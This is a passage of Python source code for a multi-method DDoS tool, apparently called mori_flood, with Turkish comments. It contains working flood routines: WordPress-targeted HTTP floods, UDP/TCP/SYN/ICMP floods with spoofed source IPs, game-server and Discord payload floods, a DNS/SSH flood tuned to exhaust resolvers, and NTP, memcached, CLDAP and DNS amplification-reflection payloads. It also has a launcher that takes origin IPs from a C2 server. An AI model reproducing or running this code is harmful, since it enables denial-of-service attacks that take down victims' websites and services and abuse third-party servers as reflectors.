                    action = random.choice(_ACTIONS)
                    body   = f"action={action}&_nonce={nonce}&interval=15"
                    req    = (f"POST /wp-admin/admin-ajax.php HTTP/1.1\r\nHost: {t.auth}\r\n"
                              f"User-Agent: {rua()}\r\n"
                              f"Content-Type: application/x-www-form-urlencoded\r\n"
                              f"Content-Length: {len(body)}\r\n\r\n{body}").encode()
                    if not send(s, req): break

            elif mode == 5:  # preview — tam WP bootstrap, cache bypass
                for _ in range(rpc):
                    if _stop.is_set(): break
                    req = (f"GET /?p={rint(1,9999)}&preview=true HTTP/1.1\r\n"
                           f"Host: {t.auth}\r\nUser-Agent: {rua()}\r\n"
                           f"Accept: text/html\r\n\r\n").encode()
                    if not send(s, req): break

            elif mode == 6:  # wp-comments-post — antispam + DB insert
                for _ in range(rpc):
                    if _stop.is_set(): break
                    body = (f"comment={rstr(200)}&author={rstr(6)}"
                            f"&email={rstr(8)}%40mail.com&url="
                            f"&submit=Post+Comment"
                            f"&comment_post_ID={rint(1,100)}&comment_parent=0")
                    req  = (f"POST /wp-comments-post.php HTTP/1.1\r\nHost: {t.auth}\r\n"
                            f"User-Agent: {rua()}\r\n"
                            f"Referer: {t.scheme}://{t.host}/?p={rint(1,100)}\r\n"
                            f"Content-Type: application/x-www-form-urlencoded\r\n"
                            f"Content-Length: {len(body)}\r\n\r\n{body}").encode()
                    if not send(s, req): break

            else:            # RSS feed — DB query + XML generate
                for _ in range(rpc):
                    if _stop.is_set(): break
                    req = (f"GET /?cat={rint(1,50)}&feed=rss2 HTTP/1.1\r\n"
                           f"Host: {t.auth}\r\nUser-Agent: {rua()}\r\n"
                           f"Accept: application/rss+xml,*/*\r\n\r\n").encode()
                    if not send(s, req): break

            with _lock: SENT[0] += rpc
            close(s)

# ══════════════════════════════════════════════════════════════════════════════
# L4 METOTLARI
# ══════════════════════════════════════════════════════════════════════════════
def w_UDP(host, port, *_):
    try: ip=socket.gethostbyname(host)
    except: ip=host
    with suppress(Exception):
        s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        while not _stop.is_set(): sndto(s, os.urandom(1024), (ip,port))
        close(s)

def w_TCP(host, port, *_):
    try: ip=socket.gethostbyname(host)
    except: ip=host
    with suppress(Exception):
        s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
        s.settimeout(0.9); s.connect((ip,port))
        while not _stop.is_set():
            if not send(s, os.urandom(1024)): break
        close(s)

def w_SYN(host, port, *_):
    try: ip=socket.gethostbyname(host)
    except: ip=host
    has_root = (os.name != 'nt' and os.geteuid() == 0)
    if not has_root:
        # root yok: TCP bağlantı flood fallback
        w_TCP(host, port); return
    with suppress(Exception):
        s=socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
        s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
        while not _stop.is_set(): sndto(s, mk_syn(rip(),ip,port), (ip,0))
        close(s)

def w_ICMP(host, *_):
    try: ip=socket.gethostbyname(host)
    except: ip=host
    has_root = (os.name != 'nt' and os.geteuid() == 0)
    if not has_root:
        # root yok: UDP fallback
        w_UDP(host, 0); return
    with suppress(Exception):
        s=socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
        s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
        while not _stop.is_set(): sndto(s, mk_icmp(rip(),ip), (ip,0))
        close(s)

def w_CPS(host, port, *_):
    try: ip=socket.gethostbyname(host)
    except: ip=host
    with suppress(Exception):
        s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
        s.settimeout(0.9); s.connect((ip,port))
        SENT[0]+=1; close(s)

def w_CONNECTION(host, port, *_):
    try: ip=socket.gethostbyname(host)
    except: ip=host
    def _a():
        with suppress(Exception):
            s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
            s.settimeout(0.9); s.connect((ip,port)); SENT[0]+=1
            while not _stop.is_set():
                if not s.recv(1): break
            close(s)
    Thread(target=_a, daemon=True).start()

def w_VSE(host, port, *_):
    try: ip=socket.gethostbyname(host)
    except: ip=host
    pl=b'\xff\xff\xff\xff\x54\x53\x6f\x75\x72\x63\x65\x20\x45\x6e\x67\x69\x6e\x65\x20\x51\x75\x65\x72\x79\x00'
    with suppress(Exception):
        s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        while not _stop.is_set(): sndto(s, pl, (ip,port))
        close(s)

def w_TS3(host, port, *_):
    try: ip=socket.gethostbyname(host)
    except: ip=host
    pl=b'\x05\xca\x7f\x16\x9c\x11\xf9\x89\x00\x00\x00\x00\x02'
    with suppress(Exception):
        s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        while not _stop.is_set(): sndto(s, pl, (ip,port))
        close(s)

def w_MCPE(host, port, *_):
    try: ip=socket.gethostbyname(host)
    except: ip=host
    pl=b'\x61\x74\x6f\x6d\x20\x64\x61\x74\x61\x20\x6f\x6e\x74\x6f\x70\x20\x6d\x79\x20\x6f\x77\x6e\x20\x61\x73\x73'
    with suppress(Exception):
        s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        while not _stop.is_set(): sndto(s, pl, (ip,port))
        close(s)

def w_FIVEM(host, port, *_):
    try: ip=socket.gethostbyname(host)
    except: ip=host
    pl=b'\xff\xff\xff\xffgetinfo xxx\x00\x00\x00'
    with suppress(Exception):
        s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        while not _stop.is_set(): sndto(s, pl, (ip,port))
        close(s)

def w_DISCORD(host, port, *_):
    """Discord Voice/RTP — root varsa spoofed raw UDP, yoksa normal UDP fallback"""
    try: ip=socket.gethostbyname(host)
    except: ip=host
    # Discord RTP/RTCP payloadları
    def mk_pl():
        return random.choice([
            b'\x80\x78' + struct.pack('!H',rint(0,65535)) + os.urandom(4) + os.urandom(4) + os.urandom(rint(8,512)),
            b'\x13\x37\xca\xfe\x01\x00\x00\x00\x13\x37\xca\xfe\x01\x00\x00\x00' + os.urandom(rint(4,512)),
            b'\x00\x01\x00\x70' + b'\x21\x12\xa4\x42' + os.urandom(108),  # STUN
            b'\x80\x63' + struct.pack('!H',rint(0,65535)) + os.urandom(rint(32,512)),  # RTCP
            os.urandom(rint(512,1024)),
        ])
    # root varsa: IP spoof ile raw
    has_root = (os.name != 'nt' and os.geteuid() == 0)
    if has_root:
        try:
            s=socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
            s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
            while not _stop.is_set():
                pkt=mk_discord(rip(), ip, port)
                sndto(s, pkt, (ip,port))
            close(s); return
        except: pass
    # root yok: normal UDP (hızlı, çalışır, IP spoof yok)
    with suppress(Exception):
        s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        while not _stop.is_set():
            sndto(s, mk_pl(), (ip,port))
        close(s)

# ── MEGA_UDP ──────────────────────────────────────────────────────────────────

# DNS qtype havuzu — ANY en yıkıcı (resolver tüm kayıt tiplerini arar)
_DNS_QTYPES = [0x00FF, 0x0001, 0x001C, 0x000F, 0x0002, 0x0006]  # ANY A AAAA MX NS SOA

def _mk_dns_query(domain_str):
    """
    Gerçek DNS sorgu paketi + EDNS0 OPT.

    Random transaction ID + random subdomain → her paket benzersiz → cache miss garantili.
    EDNS0 UDP payload = 4096 → resolver büyük yanıt üretmeye çalışır → daha fazla CPU/IO.
    qtype=ANY → resolver tüm kayıt tiplerini arar → recursive lookup zinciri.
    """
    sub   = rstr(rint(4, 12))
    parts = f"{sub}.{domain_str}".split('.')
    qname = b''.join(bytes([min(len(lbl), 63)]) + lbl.encode('ascii', 'replace')[:63]
                     for lbl in parts if lbl) + b'\x00'
    return (
        os.urandom(2)                               # transaction ID (random)
        + b'\x01\x00'                               # flags: recursion desired
        + b'\x00\x01'                               # QDCOUNT = 1
        + b'\x00\x00\x00\x00'                       # ANCOUNT=0, NSCOUNT=0
        + b'\x00\x01'                               # ARCOUNT = 1 (EDNS0 OPT kaydı)
        + qname
        + struct.pack('!HH', random.choice(_DNS_QTYPES), 0x0001)  # qtype, IN
        # EDNS0 OPT record — RFC 6891
        + b'\x00'                                   # root label
        + b'\x00\x29'                               # type = OPT (41)
        + b'\x10\x00'                               # class = 4096 (max UDP payload)
        + b'\x00\x00\x00\x00'                       # TTL = 0
        + b'\x00\x00'                               # rdlength = 0
    )

_SSH_BANNERS = [
    b'SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.3\r\n',
    b'SSH-2.0-OpenSSH_8.9p1 Debian-3~bpo11+1\r\n',
    b'SSH-2.0-OpenSSH_7.9p1 Raspbian-10+deb10u4\r\n',
    b'SSH-2.0-PuTTY_Release_0.80\r\n',
    b'SSH-2.0-libssh_0.10.6\r\n',
]

def _mk_ssh_udp():
    """
    SSH protokol benzeri UDP payload.

    3 mod rastgele seçilir:
    0 — SSH banner + artık payload → basit bant genişliği tüketimi
    1 — SSH2_MSG_KEXINIT (0x14) simülasyonu → IDS/IPS SSH kex parsing overhead
    2 — Ham büyük UDP → NIC interrupt flooding, farklı boyutlar (64–1400 B)
    """
    size = random.choice([64, 128, 256, 512, 900, 1400])
    m    = rint(0, 2)
    if m == 0:
        b = random.choice(_SSH_BANNERS)
        return b + os.urandom(max(0, size - len(b)))
    if m == 1:
        return (
            struct.pack('!IB', size, rint(4, 16))    # packet_length, padding_length
            + b'\x14'                                 # SSH2_MSG_KEXINIT
            + os.urandom(16)                          # cookie
            + struct.pack('!I', rint(20, 200))        # kex_algorithms namelist length
            + os.urandom(size)                        # random kex data
        )
    return os.urandom(size)

def w_MEGA_UDP(host, port, *_):
    """
    MEGA_UDP — Port 53 (DNS) + Port 22 (SSH) çift vektör akıllı UDP flood.

    Vektör 1 — DNS flood (port 53), varsayılan %70:
      • Gerçek DNS sorgu formatı: random TxID + random subdomain + EDNS0 OPT
      • qtype=ANY/A/AAAA/MX/NS/SOA random rotation → cache miss + recursive lookup
      • UDP payload size = 4096 (EDNS0) → resolver max response size zorlaması
      → Sunucu CPU + bellek + disk (zone transfer) maksimum yüklenir

    Vektör 2 — SSH-like UDP flood (port 22), varsayılan %30:
      • SSH-2.0 banner + SSH2_MSG_KEXINIT yapısı → IDS/firewall SSH decode yükü
      • 64–1400 byte arası paket boyutu → NIC interrupt yoğunlaştırma
      → Bant genişliği tüketimi + firewall/IPS state table baskısı

    Adaptif split: port=53 → %100 DNS  |  port=22 → %100 SSH  |  diğer → 70/30
    Kaynak port rotasyonu (her 2000 paket): OS'un yeni ephemeral port ataması → sanki
      farklı kaynaklardan geliyor gibi görünür (firewall tuple tablosunu zorlar)
    Root varsa: IP spoof ile raw UDP → kaynak IP sahteciliği + amplifikasyon etkisi
    """
    try:
        ip = socket.gethostbyname(host)
    except Exception:
        ip = host

    domain = host if '.' in host else f"{host}.target"

    # Port'a göre adaptif split oranı
    if port == 53:
        dns_ratio = 10   # %100 DNS
    elif port == 22:
        dns_ratio = 0    # %100 SSH
    else:
        dns_ratio = 7    # %70 DNS / %30 SSH

    has_root = (os.name != 'nt' and os.geteuid() == 0)

    # ── Pool ön üretimi — hot loop'ta sıfır paket oluşturma maliyeti ──────────
    # DNS: 2000 farklı subdomain + qtype kombinasyonu → cache miss çeşitliliği korunur.
    # TxID (ilk 2 byte) her göndermede os.urandom(2) ile değiştirilir → tek syscall.
    # SSH: 500 pre-built payload → cycle() ile dönülür, üretim yok.
    _DNS_N   = 2000
    _SSH_N   = 500
    dns_pool = [bytearray(_mk_dns_query(domain)) for _ in range(_DNS_N)]
    ssh_pool = [_mk_ssh_udp()                    for _ in range(_SSH_N)]

    if has_root:
        # Root: raw UDP → IP spoof ile kaynak gizleme
        with suppress(Exception):
            sr = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
            sr.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
            i = 0
            while not _stop.is_set():
                i += 1
                if i % 10 < dns_ratio:
                    buf = dns_pool[i % _DNS_N]
                    buf[0:2] = os.urandom(2)          # TxID rotasyonu
                    pld, dport = bytes(buf), 53
                else:
                    pld, dport = ssh_pool[i % _SSH_N], 22
                sndto(sr, mk_amp(rip(), ip, dport, pld), (ip, dport))
            close(sr)
            return

    # Root yok: normal SOCK_DGRAM — pool ile yüksek PPS
    with suppress(Exception):
        s53 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s22 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        i   = 0
        while not _stop.is_set():
            i += 1
            if i % 10 < dns_ratio:
                buf = dns_pool[i % _DNS_N]
                buf[0:2] = os.urandom(2)              # TxID rotasyonu — tek syscall
                sndto(s53, bytes(buf), (ip, 53))
            else:
                sndto(s22, ssh_pool[i % _SSH_N], (ip, 22))
            # Kaynak port rotasyonu: her 3000 pakette yeni ephemeral port
            if i % 3000 == 0:
                with suppress(Exception): s53.close(); s22.close()
                s53 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
                s22 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        close(s53); close(s22)

# ── AMP reflection ─────────────────────────────────────────────────────────────
AMP_PAYLOADS = {
    'RDP':   (b'\x00\x00\x00\x00\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x00', 3389),
    'CLDAP': (b'\x30\x25\x02\x01\x01\x63\x20\x04\x00\x0a\x01\x00\x0a\x01\x00\x02\x01'
              b'\x00\x02\x01\x00\x01\x01\x00\x87\x0b\x6f\x62\x6a\x65\x63\x74\x63\x6c'
              b'\x61\x73\x73\x30\x00', 389),
    'MEM':   (b'\x00\x01\x00\x00\x00\x01\x00\x00gets p h e\n', 11211),
    'CHAR':  (b'\x01', 19),
    'ARD':   (b'\x00\x14\x00\x00', 3283),
    'NTP':   (b'\x17\x00\x03\x2a\x00\x00\x00\x00', 123),
    'DNS':   (b'\x45\x67\x01\x00\x00\x01\x00\x00\x00\x00\x00\x01\x02\x73\x6c\x00'
              b'\x00\xff\x00\x01\x00\x00\x29\xff\xff\x00\x00\x00\x00\x00\x00', 53),
}

def w_AMP(target_ip, amp_payload, amp_port, refs):
    with suppress(Exception):
        s=socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
        s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
        pool=cycle(refs)
        while not _stop.is_set():
            ref=next(pool)
            sndto(s, mk_amp(target_ip, ref, amp_port, amp_payload), (ref,amp_port))
        close(s)

# ── tablo ──────────────────────────────────────────────────────────────────────
L7 = {
    'GET':w_GET, 'POST':w_POST, 'HEAD':w_HEAD, 'PPS':w_PPS, 'NULL':w_NULL,
    'OVH':w_OVH, 'STRESS':w_STRESS, 'COOKIES':w_COOKIES, 'APACHE':w_APACHE,
    'XMLRPC':w_XMLRPC, 'DYN':w_DYN, 'GSB':w_GSB, 'RHEX':w_RHEX,
    'STOMP':w_STOMP, 'BOT':w_BOT, 'SLOW':w_SLOW, 'AVB':w_AVB,
    'CFB':w_CFB, 'BYPASS':w_BYPASS, 'EVEN':w_EVEN, 'DOWNLOADER':w_DOWNLOADER,
    'STATICHTTP':w_STATICHTTP, 'UAM_BYPASS':w_UAM_BYPASS,
    'CF_BYPASS':w_CF_BYPASS, 'RAPID_RESET':w_RAPID_RESET,
    'TLS_SPOOF':w_TLS_SPOOF,  'KILLER':w_KILLER,
    'WEBSOCKET_KILLER':w_WEBSOCKET_KILLER,
    'NGINX_KILLER':w_NGINX_KILLER,
    'WORDPRESS_KILLER':w_WORDPRESS_KILLER,
    'CF_UAM_BOT_BYPASS':w_CF_UAM_BOT_BYPASS,
}
L4 = {
    'UDP':w_UDP, 'TCP':w_TCP, 'SYN':w_SYN, 'ICMP':w_ICMP,
    'CPS':w_CPS, 'CONNECTION':w_CONNECTION,
    'VSE':w_VSE, 'TS3':w_TS3, 'MCPE':w_MCPE, 'FIVEM':w_FIVEM,
    'DISCORD':w_DISCORD, 'MEGA_UDP':w_MEGA_UDP,
}

# ── başlatıcı ──────────────────────────────────────────────────────────────────
def launch(fn, args, n):
    active=[]
    while not _stop.is_set():
        active=[t for t in active if t.is_alive()]
        while len(active)<n and not _stop.is_set():
            t=Thread(target=fn, args=args, daemon=True); t.start(); active.append(t)
        time.sleep(0.05)

# ── ana program ────────────────────────────────────────────────────────────────
def usage():
    print(__doc__); sys.exit(0)

def main():
    if len(sys.argv)<5 or sys.argv[1] in ('-h','--help','help'):
        usage()

    target_raw = sys.argv[1]
    method     = sys.argv[2].upper()
    duration   = int(sys.argv[3])
    threads    = int(sys.argv[4])
    # '_' veya çok küçük değer = varsayılanı kullan
    def arg(idx, default, cast=int, minval=None):
        if len(sys.argv) <= idx: return default
        v = sys.argv[idx].strip()
        if v in ('_', '-', '', '0'): return default
        try:
            r = cast(v)
            if minval is not None and r < minval: return default
            return r
        except: return default
    refs_raw = sys.argv[5].strip() if len(sys.argv)>5 else '_'
    refs     = [r.strip() for r in refs_raw.split(',') if r.strip() and r.strip()!='_']
    max_cpu  = arg(6, 80,  minval=10)   # < 10 ise 80 kullan
    max_ram  = arg(7, 75,  minval=10)   # < 10 ise 75 kullan
    rpc      = arg(8, 10,  minval=1)

    # UAM_BYPASS: argv[9] = base64-encoded cookie string (JSON or plain text)
    if method == 'UAM_BYPASS' and len(sys.argv) > 9:
        global _UAM_COOKIE_STR
        import base64, json as _json
        try:
            raw = sys.argv[9].replace('-', '+').replace('_', '/')
            pad = (4 - len(raw) % 4) % 4
            decoded = base64.b64decode(raw + '=' * pad).decode('utf-8', errors='ignore').strip()
            parts_ck = []
            # Format 1: JSON array [{name, value}, ...]
            # Format 2: JSON dict  {name: value, ...}
            # Format 3: Plain text "cf_clearance=abc; _ga=xxx"  (semicolon separated)
            # Format 4: Plain text "cf_clearance=abc\n_ga=xxx"  (newline separated)
            if decoded.startswith('[') or decoded.startswith('{'):
                parsed = _json.loads(decoded)
                if isinstance(parsed, list):
                    parts_ck = [f"{c['name']}={c['value']}" for c in parsed if 'name' in c and 'value' in c]
                elif isinstance(parsed, dict):
                    parts_ck = [f"{k}={v}" for k, v in parsed.items()]
            else:
                # Plain text: split on semicolons or newlines, keep name=value pairs
                for part in decoded.replace('\n', ';').split(';'):
                    part = part.strip()
                    if '=' in part:
                        parts_ck.append(part)
            _UAM_COOKIE_STR = '; '.join(parts_ck)
            print(f"[UAM] {len(parts_ck)} cookie yüklendi: {', '.join(p.split('=')[0] for p in parts_ck)}", flush=True)
        except Exception as e:
            print(f"[WARN] Cookie parse hatası: {e}", flush=True)

    # UAM_BYPASS: argv[10] = base64-encoded JSON array of origin IPs (C2 sunucusu tarafından keşfedildi)
    if method == 'UAM_BYPASS' and len(sys.argv) > 10:
        global _UAM_ORIGIN_IPS
        import base64 as _b64, json as _json2
        try:
            raw10 = sys.argv[10].replace('-', '+').replace('_', '/')
            pad10 = (4 - len(raw10) % 4) % 4
            _UAM_ORIGIN_IPS = _json2.loads(_b64.b64decode(raw10 + '=' * pad10).decode())
            print(f"[UAM] C2'den {len(_UAM_ORIGIN_IPS)} origin IP alındı: {', '.join(_UAM_ORIGIN_IPS)}", flush=True)
        except Exception as e:
            print(f"[WARN] Origin IP parse hatası: {e}", flush=True)

    is_l7  = method in L7
    is_l4  = method in L4
    is_amp = method in AMP_PAYLOADS

    if not is_l7 and not is_l4 and not is_amp:
        print(f"\033[91m[HATA] Bilinmeyen metot: {method}\033[0m")
        print("L7 :", ' '.join(sorted(L7)))
        print("L4 :", ' '.join(sorted(L4)))
        print("AMP:", ' '.join(sorted(AMP_PAYLOADS)))
        sys.exit(1)

    has_root = (os.name != 'nt' and os.geteuid() == 0)
    if is_amp and not has_root:
        print(f"\033[91m[HATA] AMP ({method}) root gerektirir → sudo python3 ...\033[0m")
        sys.exit(1)
    if method in ('SYN','ICMP','DISCORD') and not has_root:
        print(f"\033[93m[INFO] {method}: root yok → UDP/TCP fallback ile çalışacak\033[0m")

    # hedef parse
    if is_l7:
        tgt = Target(target_raw)
        host, port = tgt.host, tgt.port
        label = f"{tgt.scheme}://{tgt.auth}{tgt.path}"
    else:
        if '://' in target_raw:
            u=urlparse(target_raw); host,port=u.hostname, u.port or 80
        elif ':' in target_raw:
            host,port=target_raw.rsplit(':',1); port=int(port)
        else:
            host,port=target_raw,80
        tgt=None; label=f"{host}:{port}"

    # başlık
    bar="═"*60
    print(f"\033[96m{bar}")
    print(f"  mori_flood — {method} → {label}")
    print(f"  Threads={threads} | Duration={duration}s | RPC={rpc}")
    print(f"  CPU<{max_cpu}% RAM<{max_ram}%")
    if HAS_IMP: print("  [+] impacket (raw packet support)")
    if HAS_CS:  print("  [+] cloudscraper (CF bypass)")
    if HAS_REQ: print("  [+] requests (session bypass)")
    print("  [+] CF_BYPASS/TLS_SPOOF: stdlib ssl (cipher spoof) + CF V2/V3 challenge solver")
    print(f"{bar}\033[0m", flush=True)

    # watchdog başlat
    Thread(target=guard, args=(max_cpu,max_ram), daemon=True).start()

    # zamanlayıcı
    def stopper():
        time.sleep(duration); _stop.set()
        print(f"\n\033[92m[BİTTİ] {duration}s | {SENT[0]:,} paket | {BYTES[0]/1024/1024:.1f} MB\033[0m", flush=True)
    Thread(target=stopper, daemon=True).start()

    # durum çıktısı
    def status():
        t0=time.time()
        while not _stop.is_set():
            time.sleep(5)
            el=time.time()-t0
            pps=SENT[0]/el if el>0 else 0
            mbps=BYTES[0]/el/1024/1024*8 if el>0 else 0
            print(f"\033[33m[STAT] {SENT[0]:,} paket | {pps:.0f} pps | {mbps:.1f} Mbps | CPU={cpu():.0f}% RAM={ram():.0f}%\033[0m", flush=True)
    Thread(target=status, daemon=True).start()

    # çalıştır
    try:
        if is_l7:
            fn=L7[method]
            launch(fn, (tgt, rpc), threads)
        elif is_amp:
            if not refs:
                print("\033[91m[HATA] AMP için reflector gerekli: python3 mori_flood.py ... 8.8.8.8,8.8.4.4\033[0m")
                sys.exit(1)
            try: tip=socket.gethostbyname(host)
            except: tip=host
            ap,aprt=AMP_PAYLOADS[method]
            launch(w_AMP, (tip,ap,aprt,refs), threads)
        else:
            fn=L4[method]
            launch(fn, (host,port), threads)
    except KeyboardInterrupt:
        _stop.set()

    while not _stop.is_set(): time.sleep(0.1)
    time.sleep(0.3)
    print(f"\033[96m[SON] Gönderilen={SENT[0]:,} | Bytes={BYTES[0]:,}\033[0m", flush=True)

if __name__=='__main__':
    main()